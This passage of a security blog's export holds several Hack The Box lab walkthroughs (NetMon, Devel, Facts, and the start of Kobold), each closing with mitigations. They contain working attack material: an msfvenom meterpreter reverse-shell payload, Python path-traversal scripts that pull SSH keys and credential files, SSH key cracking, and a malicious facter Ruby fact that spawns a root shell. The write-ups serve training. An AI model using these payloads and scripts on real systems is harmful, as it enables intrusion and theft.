flag obtained.\n4. Root Flag # With the SYSTEM shell we navigate to the Administrator\u0026rsquo;s desktop:\nC:\\Users\\Administrator\\Desktop\u0026gt; type root.txt Note: On Windows, the equivalent of cat is type. It doesn\u0026rsquo;t natively exist in cmd.exe. 🏁 Root flag obtained.\n5. Summary and Lessons Learned # Compromise path:\nRecon → Anonymous FTP exposes all of C:\\; port 80 serves PRTG Network Monitor. FTP enumeration → C:\\ProgramData\\Paessler\\PRTG Network Monitor\\PRTG Configuration.old.bak contains cleartext credentials. Credentials → prtgadmin:PrTg@dmin2018 from backup; year increment → PrTg@dmin2019 → successful login. CVE-2018-9276 → Command injection in PRTG notifications Parameter field → commands executed as SYSTEM. Flags → User flag via direct FTP; root flag with SYSTEM shell → root.txt. What I learned from this machine:\nAnonymous FTP without chroot on Windows is read access to C:\\. No need to exploit anything — navigating the FTP is equivalent to navigating the server\u0026rsquo;s file explorer. Any file readable by the FTP process is at our disposal, including application directories with sensitive configuration.\nConfiguration backups from infrastructure software are a priority target. PRTG, Nagios, Zabbix, and similar tools frequently store admin credentials in their configuration files to connect to the services they monitor. If a backup is available, it usually contains historical versions of those credentials.\nPassword rotation with a predictable pattern is not security. Changing PrTg@dmin2018 to PrTg@dmin2019 formally fulfills an annual rotation policy, but any attacker who knows the previous year\u0026rsquo;s password can deduce the current one in seconds. Effective rotation requires random passwords with no relationship between them.\nCVE-2018-9276 illustrates the risk of admin tools with script execution capability. PRTG needs to execute scripts for its notifications — it\u0026rsquo;s a legitimate feature. The problem is not sanitizing input before passing it to the process. Monitoring and infrastructure software typically runs with elevated privileges, which makes any command injection an immediate path to SYSTEM access.\nAlways check all files of the same family before using found credentials. There were three versions of the configuration file (.dat, .old, .old.bak). The current .dat could have had directly valid credentials. The .old.bak was the oldest and required the year adjustment — starting with the .dat could have saved that step.\nMitigations:\nVector Mitigation Anonymous FTP with access to system root Disable anonymous access; if FTP is needed, isolate in a chroot directory without system paths Cleartext credentials in configuration backups Encrypt backups; delete old backups; never store passwords in cleartext in XML Predictable password rotation pattern Use randomly generated passwords with no relationship between versions CVE-2018-9276 — Command injection in PRTG Update PRTG to version 18.2.39 or higher where the Parameter field is sanitized PRTG executing notifications as SYSTEM Configure PRTG to execute scripts with an unprivileged service user without administrative privileges ","date":"13 June 2026","externalUrl":null,"permalink":"/posts/htb-netmon/","section":"Posts","summary":" Walkthrough of NetMon on Hack The Box. Easy difficulty machine running Windows Server 2016. Anonymous FTP exposes the Windows root filesystem, allowing us to read a PRTG configuration backup with cleartext credentials. With admin panel access we exploit CVE-2018-9276, a command injection in PRTG’s notification system that executes code as NT AUTHORITY\\SYSTEM. HackTheBox Windows Easy ","title":"HTB Walkthrough: NetMon","type":"posts"},{"content":"","date":"13 June 2026","externalUrl":null,"permalink":"/tags/jerry/","section":"Tags","summary":"","title":"Jerry","type":"tags"},{"content":"","date":"13 June 2026","externalUrl":null,"permalink":"/tags/metasploit/","section":"Tags","summary":"","title":"Metasploit","type":"tags"},{"content":"","date":"13 June 2026","externalUrl":null,"permalink":"/tags/netmon/","section":"Tags","summary":"","title":"Netmon","type":"tags"},{"content":"","date":"13 June 2026","externalUrl":null,"permalink":"/tags/prtg/","section":"Tags","summary":"","title":"PRTG","type":"tags"},{"content":"","date":"13 June 2026","externalUrl":null,"permalink":"/tags/tomcat/","section":"Tags","summary":"","title":"Tomcat","type":"tags"},{"content":"","date":"13 June 2026","externalUrl":null,"permalink":"/tags/war/","section":"Tags","summary":"","title":"WAR","type":"tags"},{"content":"","date":"13 June 2026","externalUrl":null,"permalink":"/tags/windows/","section":"Tags","summary":"","title":"Windows","type":"tags"},{"content":"","date":"12 June 2026","externalUrl":null,"permalink":"/tags/aspx/","section":"Tags","summary":"","title":"ASPX","type":"tags"},{"content":"","date":"12 June 2026","externalUrl":null,"permalink":"/tags/devel/","section":"Tags","summary":"","title":"Devel","type":"tags"},{"content":" Walkthrough of Devel on Hack The Box. Easy difficulty machine running Windows 7 x86. Anonymous FTP shares the root directory with the IIS webroot, letting us upload an ASPX webshell and gain remote code execution. We escalate to NT AUTHORITY\\SYSTEM by exploiting MS10-015 (KiTrap0D), a flaw in the Windows x86 kernel. HackTheBox Windows Easy 🗺️ Machine Info # Field Detail Name Devel OS Windows 7 (Build 7600) x86 Difficulty Easy IP 10.129.13.0 Techniques FTP Write to Webroot · ASPX Webshell · MS10-015 KiTrap0D 1. Reconnaissance # 1.1 Port Scan # nmap -p- --open -sS --min-rate 5000 -n -Pn 10.129.13.0 PORT STATE SERVICE 21/tcp open ftp 80/tcp open http Version scan on open ports:\nnmap -sC -sV -p21,80 10.129.13.0 PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd | ftp-anon: Anonymous FTP login allowed (FTP code 230) | 03-18-17 02:06AM \u0026lt;DIR\u0026gt; aspnet_client | 03-17-17 05:37PM 689 iisstart.htm | 03-17-17 05:37PM 184946 welcome.png 80/tcp open http Microsoft IIS httpd 7.5 Service Info: OS: Windows Open ports:\n21 → Microsoft FTP with anonymous access enabled — and the listed files are exactly those of IIS 80 → Microsoft IIS 7.5 💡 Key detail — The critical connection: The anonymous FTP exposes iisstart.htm, welcome.png, and aspnet_client/ — exactly the same files served by IIS 7.5 on port 80. This means the FTP root directory is the IIS webroot. If we can write a file via FTP, we can access it from a browser and, since this is IIS with ASP.NET, execute it.\n1.2 FTP Enumeration # We confirm write permissions and the ASP.NET version:\nftp 10.129.13.0 # Username: anonymous / No password ftp\u0026gt; ls aspnet_client/system_web 03-18-17 02:06AM \u0026lt;DIR\u0026gt; 2_0_50727 The path aspnet_client/system_web/2.0.50727 confirms the server runs ASP.NET 2.0, guaranteeing that .aspx files will be interpreted and executed by IIS.\n💡 Conclusions: Anonymous FTP with write access to webroot + IIS with ASP.NET = uploading a malicious .aspx and visiting it from the browser gives direct RCE.\n2. Exploitation — ASPX Webshell via FTP # 2.1 Generate the ASPX Payload # msfvenom -p windows/meterpreter/reverse_tcp \\ LHOST=10.10.14.211 \\ LPORT=1337 \\ -f aspx \u0026gt; devel.aspx We use windows/meterpreter/reverse_tcp (32-bit) and not the x64 variant because the subsequent sysinfo confirms the system is x86. An x64 payload in an x86 process would cause an immediate crash — the payload architecture must match the process architecture.\n2.2 Upload the Payload to the Webroot # ftp 10.129.13.0 ftp\u0026gt; put ./devel.aspx 226 Transfer complete. 2.3 Configure the Listener and Trigger the Payload # msf6 \u0026gt; use multi/handler msf6 handler \u0026gt; set payload windows/meterpreter/reverse_tcp msf6 handler \u0026gt; set LHOST tun0 msf6 handler \u0026gt; set LPORT 1337 msf6 handler \u0026gt; exploit -j We visit the URL of the uploaded file so IIS processes and executes it:\nhttp://10.129.13.0/devel.aspx [*] Sending stage (196678 bytes) to 10.129.13.5 [*] Meterpreter session 35 opened (10.10.14.211:1337 -\u0026gt; 10.129.13.5:49265) meterpreter \u0026gt; getuid Server username: IIS APPPOOL\\Web meterpreter \u0026gt; sysinfo Computer : DEVEL OS : Windows 7 (6.1 Build 7600) Architecture : x86 Domain : HTB ✅ Meterpreter shell obtained as IIS APPPOOL\\Web — no elevated privileges. We need to escalate.\n3. User Flag # meterpreter \u0026gt; cat C:\\\\Users\\\\babis\\\\Desktop\\\\user.txt 🔑 User flag obtained.\n4. Privilege Escalation — MS10-015 KiTrap0D # 4.1 System Enumeration # We use Metasploit\u0026rsquo;s local_exploit_suggester module to identify escalation vectors from the current session:\nmsf6 \u0026gt; use post/multi/recon/local_exploit_suggester msf6 \u0026gt; set SESSION 35 msf6 \u0026gt; run [+] exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable. [+] exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated. [+] exploit/windows/local/ms10_092_schelevator: The service is running, but could not be validated. [+] exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable. [+] exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable. [+] exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running. The suggester lists 16 potential exploits. We choose ms10_015_kitrap0d because bypassuac_eventvwr — the most attractive — requires the current user to belong to the Administrators group to bypass UAC. IIS APPPOOL\\Web is not a local administrator, so the UAC bypass doesn\u0026rsquo;t apply here. KiTrap0D, on the other hand, is a kernel vulnerability that doesn\u0026rsquo;t depend on user permissions.\n4.2 Escalation Vector Analysis # MS10-015 KiTrap0D exploits a flaw in the handling of the divide-by-zero trap (#DE, trap 0) by the Windows kernel on x86 systems. When such an exception occurs from user mode, the kernel doesn\u0026rsquo;t properly validate the process context, allowing overwriting privileged data structures. The exploit injects a payload into an msiexec.exe process and leverages this flaw to elevate the execution context to NT AUTHORITY\\SYSTEM.\nNormal flow: #DE exception → kernel handles the trap → returns control to process Malicious flow: specially crafted #DE exception → x86 kernel validation failure → write to privileged structures → injection into msiexec.exe → SYSTEM The vulnerability only affects x86 systems — on x64 architectures the kernel handles the trap differently and the exploit doesn\u0026rsquo;t work. The sysinfo we obtained at foothold confirmed that Devel is x86, which gave us the direct hint.\n4.3 Exploitation # msf6 \u0026gt; use exploit/windows/local/ms10_015_kitrap0d msf6 exploit(ms10_015_kitrap0d) \u0026gt; set LHOST tun0 msf6 exploit(ms10_015_kitrap0d) \u0026gt; set SESSION 35 msf6 exploit(ms10_015_kitrap0d) \u0026gt; run [*] Reflectively injecting payload and triggering the bug... [*] Launching msiexec to host the DLL... [+] Process 1124 launched. [*] Reflectively injecting the DLL into 1124... [+] Exploit finished, wait for (hopefully privileged) payload execution to complete. [*] Meterpreter session 37 opened (10.10.14.211:4444 -\u0026gt; 10.129.13.5:49268) meterpreter \u0026gt; getuid Server username: NT AUTHORITY\\SYSTEM ✅ Escalation to SYSTEM completed.\n5. Root Flag # meterpreter \u0026gt; cat C:\\\\Users\\\\Administrator\\\\Desktop\\\\root.txt 🏁 Root flag obtained.\n6. Summary and Lessons Learned # Compromise path:\nRecon → Nmap detects anonymous FTP with the same files as IIS 7.5 on port 80. FTP enumeration → Write access confirmed in webroot; ASP.NET 2.0 active. ASPX webshell → msfvenom generates x86 payload; ftp put uploads it to webroot; visiting the URL triggers the shell → IIS APPPOOL\\Web. User flag → Access to babis desktop → user.txt. PrivEsc → local_exploit_suggester → ms10_015_kitrap0d → x86 kernel flaw in #DE trap → NT AUTHORITY\\SYSTEM → root.txt. What I learned from this machine:\nWhen FTP and the web server share a root directory, FTP with write access is RCE. No need to exploit any web service vulnerability — just upload an executable file and visit it. Identifying this relationship between services during reconnaissance is what makes the machine solve in minutes instead of hours.\nThe target\u0026rsquo;s architecture determines the payload architecture. An x64 payload in an x86 process doesn\u0026rsquo;t work — it causes a crash. sysinfo in Meterpreter or the Architecture field in Nmap output is the reference. On Windows this is especially important because many legacy systems are still x86 despite their age.\nlocal_exploit_suggester is the starting point for PrivEsc on Windows with Meterpreter. It doesn\u0026rsquo;t replace knowledge, but it dramatically reduces enumeration time by filtering which exploits are applicable to the specific system. Choosing which one to use still requires judgment — in this case, ruling out bypassuac due to the user context.\nMS10-015 only works on x86. The system architecture affects not only the foothold payload but also the escalation vector. Having sysinfo from the very first moment orients the entire PrivEsc phase — in this case, x86 opens KiTrap0D and closes several x64 exploits.\nAnonymous FTP with write access in production is a critical risk even if the content looks harmless. The directory exposed on Devel only had a welcome page and some static assets. However, write capability turned that FTP into a full RCE vector. The problem isn\u0026rsquo;t what\u0026rsquo;s in the directory — it\u0026rsquo;s that someone external can add whatever they want.\nMitigations:\nVector Mitigation Anonymous FTP with write access to webroot Disable anonymous access in IIS FTP; never map FTP to the webroot IIS executes any uploaded file Configure IIS not to execute scripts in upload directories; whitelist permitted extensions MS10-015 KiTrap0D Apply patch KB979682; migrate to a supported OS (Windows 7 EOL since 2020) IIS pool with elevated permissions Use ApplicationPoolIdentity with minimum privilege; don\u0026rsquo;t run pools as SYSTEM or Administrator ","date":"12 June 2026","externalUrl":null,"permalink":"/posts/htb-devel/","section":"Posts","summary":" Walkthrough of Devel on Hack The Box. Easy difficulty machine running Windows 7 x86. Anonymous FTP shares the root directory with the IIS webroot, letting us upload an ASPX webshell and gain remote code execution. We escalate to NT AUTHORITY\\SYSTEM by exploiting MS10-015 (KiTrap0D), a flaw in the Windows x86 kernel. HackTheBox Windows Easy ","title":"HTB Walkthrough: Devel","type":"posts"},{"content":"","date":"12 June 2026","externalUrl":null,"permalink":"/tags/iis/","section":"Tags","summary":"","title":"IIS","type":"tags"},{"content":"","date":"12 June 2026","externalUrl":null,"permalink":"/tags/kitrap0d/","section":"Tags","summary":"","title":"KiTrap0D","type":"tags"},{"content":"","date":"12 June 2026","externalUrl":null,"permalink":"/tags/ms10-015/","section":"Tags","summary":"","title":"MS10-015","type":"tags"},{"content":"","date":"12 June 2026","externalUrl":null,"permalink":"/tags/webshell/","section":"Tags","summary":"","title":"Webshell","type":"tags"},{"content":"","date":"9 June 2026","externalUrl":null,"permalink":"/tags/camaleoncms/","section":"Tags","summary":"","title":"CamaleonCMS","type":"tags"},{"content":"","date":"9 June 2026","externalUrl":null,"permalink":"/tags/cve-2025-2304/","section":"Tags","summary":"","title":"CVE-2025-2304","type":"tags"},{"content":"","date":"9 June 2026","externalUrl":null,"permalink":"/tags/cve-2026-1776/","section":"Tags","summary":"","title":"CVE-2026-1776","type":"tags"},{"content":"","date":"9 June 2026","externalUrl":null,"permalink":"/tags/facter/","section":"Tags","summary":"","title":"Facter","type":"tags"},{"content":"","date":"9 June 2026","externalUrl":null,"permalink":"/tags/facts/","section":"Tags","summary":"","title":"Facts","type":"tags"},{"content":" Walkthrough of Facts on Hack The Box. Easy difficulty machine running Linux (Ubuntu 25.04). We exploit a Mass Assignment in Camaleon CMS to escalate our role to administrator without knowing any password, abuse a Path Traversal in the AWS uploader to read system files and extract an encrypted SSH key, crack the passphrase with John the Ripper, and escalate to root by abusing sudo NOPASSWD permissions over facter with a malicious custom Ruby fact. HackTheBox Linux Easy 🗺️ Machine Info # Field Detail Name Facts OS Linux (Ubuntu 25.04 — GNU/Linux 6.14.0) Difficulty Easy IP 10.129.20.171 Techniques Mass Assignment · Path Traversal · SSH Key Cracking · Facter sudo NOPASSWD RCE 1. Reconnaissance # 1.1 Port Scan # nmap -p- --open -sS --min-rate 5000 -n -Pn 10.129.20.171 PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 54321/tcp open unknown Version scan on open ports:\nnmap -sC -sV -p22,80,54321 10.129.20.171 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 80/tcp open http nginx 1.26.3 (Ubuntu) |_http-title: Did not follow redirect to http://facts.htb/ 54321/tcp open http Golang net/http server |_http-server-header: MinIO |_http-title: Did not follow redirect to http://10.129.20.171:9001 Open ports:\n22 → OpenSSH 9.9p1 (available for later access) 80 → nginx with virtual host facts.htb — needs to be added to /etc/hosts 54321 → MinIO (S3-compatible object storage) redirecting to admin console on port 9001, not exposed externally 💡 Key detail: Port 54321 runs MinIO, an object storage service. The admin console (9001) isn\u0026rsquo;t externally accessible, but the existence of an S3-compatible service may be relevant for the web application\u0026rsquo;s uploaders.\necho \u0026#34;10.129.20.171 facts.htb\u0026#34; \u0026gt;\u0026gt; /etc/hosts 1.2 Web Enumeration — Camaleon CMS # Directory fuzzing on http://facts.htb/:\nffuf -u http://facts.htb/FUZZ \\ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \\ -ic -c [Status: 302] admin → redirects to login [Status: 200] index [Status: 200] search [Status: 200] page [Status: 200] post We find an admin panel at /admin. We register a normal user account to explore the application and identify Camaleon CMS version 2.9.\nWith our newly created account we only have access to edit our own profile. The panel shows:\n#ID: 5 Login: test Role: Client 💡 Attack surface: We have a user account with the Client role and access to the password change endpoint. In Rails, password change forms typically pass data directly to the User model. If the backend doesn\u0026rsquo;t explicitly filter which fields the user can modify, it could be vulnerable to Mass Assignment.\n2. Exploitation — CVE-2025-2304 (Mass Assignment: Role Escalation) # 2.1 Vulnerability Analysis # Camaleon CMS 2.9 doesn\u0026rsquo;t properly filter the parameters a user can send when updating their profile. When sending a POST request to the password change endpoint, the backend accepts any field of the User model, including role. This is known as Mass Assignment — the attacker can modify fields that should be read-only.\nNormal flow: user sends password + password_confirmation → only the password is updated Malicious flow: user adds \u0026amp;password[role]=admin → the backend also updates the role field 2.2 Step-by-Step Exploitation # Step 1 — Configure Burp Suite as proxy and intercept the password change:\nIn Firefox: Settings → General → Network settings → Manual proxy configuration:\nHTTP Proxy: 127.0.0.1, Port 8080 In the user profile, click \u0026ldquo;Change Password\u0026rdquo; with Intercept active in Burp Suite.\nStep 2 — Modify the intercepted POST request:\nThe original request has this body:\nauthenticity_token=...\u0026amp;password=test1234\u0026amp;password_confirmation=test1234 We add \u0026amp;password[role]=admin before forwarding:\nauthenticity_token=...\u0026amp;password=test1234\u0026amp;password_confirmation=test1234\u0026amp;password[role]=admin Step 3 — Verify the escalation:\nAfter forwarding the request and reloading the profile, the Role field now shows \u0026ldquo;Administrator\u0026rdquo;.\n🔑 We are CMS administrators without knowing any admin password.\n✅ Role escalated to Administrator via Mass Assignment (CVE-2025-2304).\n3. Exploitation — CVE-2026-1776 (Camaleon CMS Path Traversal via AWS Uploader) # 3.1 Vulnerability Analysis # The /admin/media/download_private_file endpoint in Camaleon CMS\u0026rsquo;s AWS uploader plugin doesn\u0026rsquo;t validate the path of the file parameter with the valid_folder_path? function, unlike the local uploader which does. This allows an authenticated admin to read any file on the system via path traversal (../../).\nNormal flow: GET /admin/media/download_private_file?file=uploads/image.png → serves the file Malicious flow: GET /admin/media/download_private_file?file=../../etc/passwd → reads the filesystem 3.2 Phase 1 — Confirmation and Reading /etc/passwd # We use a Python script with the admin session cookie obtained from the browser:\n#!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34; CVE-2026-1776 - Camaleon CMS Path Traversal via AWS Uploader Affects: versions 2.4.5.0 - 2.9.0 (before commit f54a77e) \u0026#34;\u0026#34;\u0026#34; import requests from urllib.parse import urljoin TARGET_URL = \u0026#34;http://facts.htb/\u0026#34; ENDPOINT = \u0026#34;/admin/media/download_private_file\u0026#34; SESSION_VAR = \u0026#34;_factsap_session\u0026#34; SESSION_VAL = \u0026#34;lNF74a7lw4...\u0026#34; # Admin session cookie from browser AUTH_TOKEN = \u0026#34;1QGOA6YxgFANPE6XlGYPpg...\u0026#34; HEADERS = { \u0026#34;Cookie\u0026#34;: f\u0026#34;{SESSION_VAR}={SESSION_VAL}; auth_token={AUTH_TOKEN}\u0026#34;, \u0026#34;User-Agent\u0026#34;: \u0026#34;Mozilla/5.0 (X11; Linux x86_64; rv:140.0)\u0026#34;, \u0026#34;X-Requested-With\u0026#34;: \u0026#34;XMLHttpRequest\u0026#34;, } TARGET_FILES = [ \u0026#34;../../../../../../../../../../etc/passwd\u0026#34;, \u0026#34;../../../../../../../../../../config/database.yml\u0026#34;, \u0026#34;../../../../../../../../../../app/.env\u0026#34;, ] for payload in TARGET_FILES: r = requests.get( urljoin(TARGET_URL, ENDPOINT), headers=HEADERS, params={\u0026#34;file\u0026#34;: payload}, allow_redirects=False, timeout=8, ) if r.status_code == 200 and r.text.strip(): filename = payload.split(\u0026#34;/\u0026#34;)[-1] print(f\u0026#34;\\n[+] {filename} ({len(r.text)} bytes):\\n{r.text[:500]}\u0026#34;) Result:\n[+] passwd (1809 bytes): root:x:0:0:root:/root:/bin/bash ... trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash william:x:1001:1001::/home/william:/bin/bash 💡 Shell users identified:\ntrivia (uid=1000) — web application user william (uid=1001) — secondary user 3.3 Phase 2 — Targeted Credential Extraction # With users identified, we run a second script focused on SSH keys, shell history, and flags:\n#!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;CVE-2026-1776 - Phase 2: Targeted credential extraction\u0026#34;\u0026#34;\u0026#34; import requests from urllib.parse import urljoin TARGET_URL = \u0026#34;http://facts.htb/\u0026#34; ENDPOINT = \u0026#34;/admin/media/download_private_file\u0026#34; HEADERS = { ... } # Same headers as Phase 1 DEPTH = \u0026#34;../../../../../../../../../../\u0026#34; TARGETS = { \u0026#34;SSH\u0026#34;: [ (\u0026#34;trivia_id_ed25519\u0026#34;, f\u0026#34;{DEPTH}home/trivia/.ssh/id_ed25519\u0026#34;), (\u0026#34;trivia_authorized\u0026#34;, f\u0026#34;{DEPTH}home/trivia/.ssh/authorized_keys\u0026#34;), (\u0026#34;william_id_ed25519\u0026#34;, f\u0026#34;{DEPTH}home/william/.ssh/id_ed25519\u0026#34;), (\u0026#34;root_id_rsa\u0026#34;, f\u0026#34;{DEPTH}root/.ssh/id_rsa\u0026#34;), ], \u0026#34;HISTORY\u0026#34;: [ (\u0026#34;trivia_bash_history\u0026#34;, f\u0026#34;{DEPTH}home/trivia/.bash_history\u0026#34;), (\u0026#34;william_bash_history\u0026#34;, f\u0026#34;{DEPTH}home/william/.bash_history\u0026#34;), ], \u0026#34;FLAGS\u0026#34;: [ (\u0026#34;user_flag_william\u0026#34;, f\u0026#34;{DEPTH}home/william/user.txt\u0026#34;), (\u0026#34;user_flag_trivia\u0026#34;, f\u0026#34;{DEPTH}home/trivia/user.txt\u0026#34;), (\u0026#34;root_flag\u0026#34;, f\u0026#34;{DEPTH}root/root.txt\u0026#34;), ], } def fetch(payload): r = requests.get( urljoin(TARGET_URL, ENDPOINT), headers=HEADERS, params={\u0026#34;file\u0026#34;: payload}, allow_redirects=False, timeout=8, ) if r.status_code == 200 and r.text.strip(): return True, r.text return False, f\u0026#34;HTTP {r.status_code}\u0026#34; for category, items in TARGETS.items(): print(f\u0026#34;\\n=== {category} ===\u0026#34;) for name, payload in items: ok, content = fetch(payload) if ok: print(f\u0026#34;[+] {name} ({len(content)} bytes)\u0026#34;) with open(f\u0026#34;loot_{name}.txt\u0026#34;, \u0026#34;w\u0026#34;) as f: f.write(content) else: print(f\u0026#34;[-] {name} -\u0026gt; {content}\u0026#34;) Files recovered:\nloot_trivia_id_ed25519.txt ← Encrypted SSH private key of trivia loot_trivia_authorized.txt ← Authorized public key of trivia loot_user_flag_william.txt ← User flag (william) 4. User Flag # William\u0026rsquo;s user flag is obtained directly via Path Traversal, without needing SSH authentication:\ncat loot_user_flag_william.txt 🔑 User flag obtained.\n5. SSH Key Cracking — Access as trivia # Trivia\u0026rsquo;s private key is encrypted with a passphrase (bcrypt/AES algorithm, 24 iterations). We crack it with John the Ripper:\n# Convert the key to the hash format John understands ssh2john loot_trivia_id_ed25519.txt \u0026gt; hash.hash # Attack with the rockyou dictionary john hash.hash --wordlist=/usr/share/wordlists/rockyou.txt dragonballz (loot_trivia_id_ed25519.txt) 1g 0:00:04:17 DONE — Session completed. 🔑 Passphrase found: dragonballz\nchmod 600 loot_trivia_id_ed25519.txt ssh -i loot_trivia_id_ed25519.txt trivia@10.129.20.171 # Passphrase: dragonballz Welcome to Ubuntu 25.04 (GNU/Linux 6.14.0-37-generic x86_64) trivia@facts:~$ ✅ Shell obtained as trivia.\n6. Privilege Escalation — Facter NOPASSWD sudo # 6.1 Sudo Permission Enumeration # trivia@facts:~$ sudo -l User trivia may run the following commands on facts: (ALL) NOPASSWD: /usr/bin/facter 6.2 Escalation Vector Analysis # facter is a tool in the Puppet ecosystem that collects system information (\u0026ldquo;facts\u0026rdquo;) by executing Ruby code. It supports custom facts — external Ruby scripts that the user can provide with the --custom-dir flag. When facter runs as root via sudo, any Ruby code in those scripts executes with root privileges.\nNormal flow: sudo facter → collects system information and prints it Malicious flow: sudo facter --custom-dir /tmp/pwn → executes our malicious Ruby as root 💡 Difference from SUID: A binary with SUID always executes with the file owner\u0026rsquo;s UID. Here the risk comes from the tool\u0026rsquo;s design: facter is designed to execute arbitrary Ruby code as part of its custom facts functionality. It\u0026rsquo;s a legitimate attack surface that becomes critical when combined with unrestricted sudo arguments.\n6.3 Exploitation # Step 1 — Create the directory and the malicious custom fact:\ntrivia@facts:/tmp$ mkdir -p /tmp/pwn trivia@facts:/tmp$ cat \u0026gt; /tmp/pwn/root.rb \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; Facter.add(\u0026#39;rootshell\u0026#39;) do setcode do system(\u0026#39;/bin/bash -p\u0026#39;) \u0026#39;done\u0026#39; end end EOF When facter loads the custom fact, it executes the setcode block as part of the evaluation. Running with sudo, that block executes with EUID=0, spawning a root shell.\nStep 2 — Execute facter pointing to the malicious directory:\ntrivia@facts:/tmp$ sudo /usr/bin/facter --custom-dir /tmp/pwn rootshell root@facts:/tmp# ✅ Root shell obtained via malicious Ruby custom fact in Facter with sudo NOPASSWD.\n7. Root Flag # root@facts:/tmp# cat /root/root.txt 🏁 Root flag obtained.\n8. Summary and Lessons Learned # Compromise path:\nRecon → Port 80 with Camaleon CMS 2.9 (facts.htb); Port 54321 with MinIO. Mass Assignment (CVE-2025-2304) → Register as normal user + Burp Suite → \u0026amp;password[role]=admin → role escalated to Administrator without a password. Path Traversal (CVE-2026-1776) → AWS uploader doesn\u0026rsquo;t validate paths → LFI on /admin/media/download_private_file → /etc/passwd (users) + id_ed25519 of trivia + william\u0026rsquo;s flag → user.txt. SSH Key Cracking → ssh2john + john + rockyou.txt → passphrase dragonballz → shell as trivia. PrivEsc → sudo -l reveals facter NOPASSWD → Ruby custom fact with system('/bin/bash -p') → root shell → root.txt. What I learned from this machine:\nMass Assignment is invisible without an active source code review. There\u0026rsquo;s no external signal that the endpoint is vulnerable — everything looks like a normal password change form. The defense is using strong_parameters in Rails to explicitly list allowed fields (permit(:password, :password_confirmation)) and nothing more. The problem is that modern frameworks make it very easy to forget this with a careless update(params[:user]).\nPath traversal in an uploader is especially dangerous because the endpoint legitimately accesses the filesystem. The discrepancy between the local uploader (which does validate with valid_folder_path?) and the AWS uploader (which doesn\u0026rsquo;t) shows how a feature can be patched in one place but not another. When auditing path traversal, verify all endpoints that touch the filesystem, not just the obvious ones.\nSSH key passphrases are a real security factor, but only if they\u0026rsquo;re strong. dragonballz is in rockyou.txt and cracked in 4 minutes. An SSH key without a passphrase is directly reusable by anyone who steals it; with a weak passphrase, the time gained is minimal. The defense is treating the passphrase like a critical password: long, random, and stored in a password manager.\nsudo NOPASSWD over tools that execute external code is equivalent to giving direct root. facter --custom-dir is a clear case: the tool is designed to execute arbitrary Ruby. Granting sudo without restricting arguments (there\u0026rsquo;s no --no-custom-dir flag, so the only option is removing the sudoers entry) is equivalent to a root shell for any member of the group. The principle: before adding a NOPASSWD entry, verify the binary has no mechanism for arbitrary code execution.\nChaining vulnerabilities of different severity can result in full compromise. None of the individual vulnerabilities alone would have been sufficient: Mass Assignment without admin access doesn\u0026rsquo;t give a foothold; Path Traversal without admin is inaccessible; the SSH key without Path Traversal can\u0026rsquo;t be obtained. The full chain shows why scoring isolated vulnerabilities can underestimate the real risk in a system.\nMitigations:\nVector Mitigation CVE-2025-2304 (Mass Assignment) Use strong_parameters in Rails: permit(:password, :password_confirmation) — never accept role as a user-editable parameter CVE-2026-1776 (Path Traversal) Update Camaleon to a version after commit f54a77e; apply valid_folder_path? in all uploaders, not just the local one SSH key with weak passphrase Use long, random passphrases (20+ characters); consider hardware tokens (YubiKey) facter with sudo NOPASSWD Remove the sudoers entry; if it must be kept, run facter in a wrapper that disables custom facts (--no-custom-dir doesn\u0026rsquo;t exist — the only safe option is removing the privilege) ","date":"9 June 2026","externalUrl":null,"permalink":"/posts/htb-facts/","section":"Posts","summary":" Walkthrough of Facts on Hack The Box. Easy difficulty machine running Linux (Ubuntu 25.04). We exploit a Mass Assignment in Camaleon CMS to escalate our role to administrator without knowing any password, abuse a Path Traversal in the AWS uploader to read system files and extract an encrypted SSH key, crack the passphrase with John the Ripper, and escalate to root by abusing sudo NOPASSWD permissions over facter with a malicious custom Ruby fact. HackTheBox Linux Easy ","title":"HTB Walkthrough: Facts","type":"posts"},{"content":"","date":"9 June 2026","externalUrl":null,"permalink":"/tags/massassignment/","section":"Tags","summary":"","title":"MassAssignment","type":"tags"},{"content":"","date":"9 June 2026","externalUrl":null,"permalink":"/tags/pathtraversal/","section":"Tags","summary":"","title":"PathTraversal","type":"tags"},{"content":"","date":"9 June 2026","externalUrl":null,"permalink":"/tags/ssh/","section":"Tags","summary":"","title":"SSH","type":"tags"},{"content":"","date":"1 June 2026","externalUrl":null,"permalink":"/tags/cve-2026-23744/","section":"Tags","summary":"","title":"CVE-2026-23744","type":"tags"},{"content":"","date":"1 June 2026","externalUrl":null,"permalink":"/tags/dockerescape/","section":"Tags","summary":"","title":"DockerEscape","type":"tags"},{"content":" Walkthrough of Kobold on Hack The Box. Easy difficulty machine running Linux. Exploitation goes through CVE-2026-23744, an unauthenticated RCE in MCPJam Inspector 1.4.2: the /api/mcp/connect endpoint passes the command field directly to child_process.spawn() without any validation. Privilege escalation to root exploits the fact that user ben belongs to the operator group, which has permissions over the Docker socket — accessible via sg docker without needing to log out. With access to the Docker daemon, we mount the host filesystem and get root with chroot. HackTheBox Linux Easy 🗺️ Machine Info # Field Detail Name Kobold OS Linux (Ubuntu) Difficulty Easy IP 10.129.6.231 Techniques CVE-2026-23744 · MCPJam RCE · Docker socket escape · sg group bypass · chroot privesc 1. Reconnaissance # 1.1 Port Scan # nmap -p- --open -sS --min-rate 5000 -n -Pn 10.129.6.231 PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https 3552/tcp open taserver echo \u0026#34;10.129.6.231 kobold.htb\u0026#34; \u0026gt;\u0026gt; /etc/hosts 💡 Attack surface: two web ports (80/443) and an unknown service on 3552. Initial focus is the web application.\n2. Subdomain Enumeration # gobuster vhost -u \u0026#34;https://kobold.htb\u0026#34; \\ -w /usr/share/wordlists/dirb/common.txt \\ --append-domain \\ --no-tls-validation Found: bin.kobold.htb [Status: 200, Size: 